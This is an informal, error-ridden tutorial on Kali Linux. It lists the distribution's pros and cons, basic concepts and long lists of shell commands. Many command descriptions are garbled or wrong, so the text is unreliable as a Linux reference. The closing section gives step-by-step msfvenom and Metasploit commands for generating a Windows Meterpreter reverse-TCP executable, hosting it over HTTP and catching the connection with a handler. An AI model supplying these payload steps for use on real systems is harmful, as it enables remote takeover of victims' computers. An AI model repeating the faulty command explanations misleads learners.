KALI LINUX?
Introduction
: Kali linux is a debian derived
linux distribution that is maintained by offensive security .It was developed
by MATI AHARONI and DEVON
KEARNS kali linux is a specially designed OS for network analysts testers or in simple
words it is for those who work under the umbrella of cyber security and analysts
. The official website of kali linux is KALI.ORG.
ADVANTAGAS OF KALI
LINUX
o
It has coot
penetration testing and network security tools preinstalled .
o
It is comletely free and open source
o
So can use it for free and even contribute for
its development .
o
It supports many languages
o
Great for those who are intermediate in linux
and have their hands on linux commands.
o
Could be easily used with raspbery Pi
DISADVANTAGE
o
It is not recommended for those who are new to
linux and want to learn linux
o
It is a bit slower
o
It is
quite unfamiler
WHY IMPORTANCE OF KALI LINUX?
KERNEL: The kernel is a computer program that is the
core of a computers operating system with complete control over everything in
the system. It manages followings resources of the linux like file management,
process management, I/O management , device management
SHELL: A shell is special user program which
provide an interface to use operating system services. Shell accept human readable
commands from user and convert them into something which kernel can understand.
It is a command language interpreter that execute commands read from input
devices such as keyboards or from files. Shell gets stared when the user logs
in or start the terminal.
TERMINAL : We can say the terminal is a dump thing so it
does not know what to do with the input, So it needs another program to process
it. The terminal is a program that provide a user with a simple command line
interface.
CONSOLE : In the case of windows OS, the “console” performs
the same operation performed by the terminal, So we can say for Windows OS, The
console is the alias name for the terminal.
SHELL SCRIPTING : As shell can also take command as
input from file we can write these command in a file can execute them in shell
to avoid this repetitive work. These file are called shell script are shell
programs. Shell script are similar to the batch file in MS DOS. Each shell
scripting is saved with .sh file
extension myscript.sh
BASIC COMMNADS & OPERATION OF KALI LINUX
1.
WHO : Identify User ID.
2.
WHOAMI : User name Identify.
3.
UNAME : System Type Identify.
4.
UNAME-R : System Information.
5.
UNAME-A : All system Information.
6.
LS : Show The File and Folder Of Directry.
7.
CD : Change Directry.
8.
LS-A : Some file Information.
9.
LS-R : All System file Information.
10.
LS-L : Show the Hide File.
11.
MAN LS : All Argument of Command.
12.
PWD : Print Working Directry.
13.
MKDIR : Make Directry.
14.
RMDIR : Remove Directry.
15.
RMDIR* : All File Remove.
16.
CP : Copy File.
17.
MV : Move File.
18.
SUDO APT UPGRADE : Upgrade System.
19.
SUDO APT UPDATE : Update System.
BASIC COMMNADS & OPERATION OF KALI LINUX
1.
Date : Change The date.
2.
Sudo Date—Set=29-04-2022 : Reset Date.
3.
Cal : calendar
open.
4.
Figlet : Text Highlight.
5.
Yes : Loop text display.
6.
Faster : Number Faster.
7.
PS : Process Check.
8.
PS Aux : All Process run System Display.
9.
Top : All Tast Display.
10.
Kill/Pid : Task Closed.
11.
DPKG—List : Store Data File Display.
12.
Sudo APT Install VlC : Download any software on
linux.
13.
Media player name/ video location : Video play on command.
14.
Display/IMG Location : Image open.
15.
Sudo ShutDown Now : ShutDown System.
16.
Sudo ShutDown Now –R : Restart System.
17.
SUdo ShutDown Now-C : Cancel ShutDown
TEXT LOGS RELATED COMMANDS IN KALI LINUX
1.
Toch File_Name : New File create.
2.
Type > File_Name : Export File.
3.
Echo Your Text > File_Name : Text And File Both
Create.
4.
Ifconfig : IP Address Information.
5.
Cat File_Name: Save File Open in Terminal.
6.
Head—2 figlet : Line your Highlight Text only
half part.
7.
More : Not a separate file.
8.
Less : Separate window file open.
9.
Nano File name : New File Create in terminal
Text editor nano.
10.
Vim File Name: Text Editor.
TEXT LOGS RELATED COMMANDS IN KALI LINUX
1.
DF : Disk Information.
2.
Free: Memory and swap space storage information.
3.
DU : Total File and File size.
4.
DU-SH : Total
Disk Size.
5.
CAT/PROC/CPUINFO : Cpu Information.
6.
CAT/PROC/CPUINFO|GREF INFO NAME: One by One
Information.
7.
LSCPU : Information On CPU.
HOW TO CREATE PEYLOAD COMMANDS
1.
MSFVENOM – P WINDOWS/METAPRETER/REVERSE_TCP
LHOST=IP=LPORT=5555 – F EXE > DEEPAK.EXE
2.
PYTHON – M SIMPLE HTTP SERVER
3.
MSFCONSOLE (FOR OPENING METASPLOIT)
4.
USE EXPLOIT/MULTI/HANDER
5.
SET PEYLOAD WINDOWS/METAPRETER/REVERSE_TCP
6.
SET LHOST IP ADDRESS
7.
SET LPORT 5555
8.
EXPLOIT
If you want the practical of this article then you can go to
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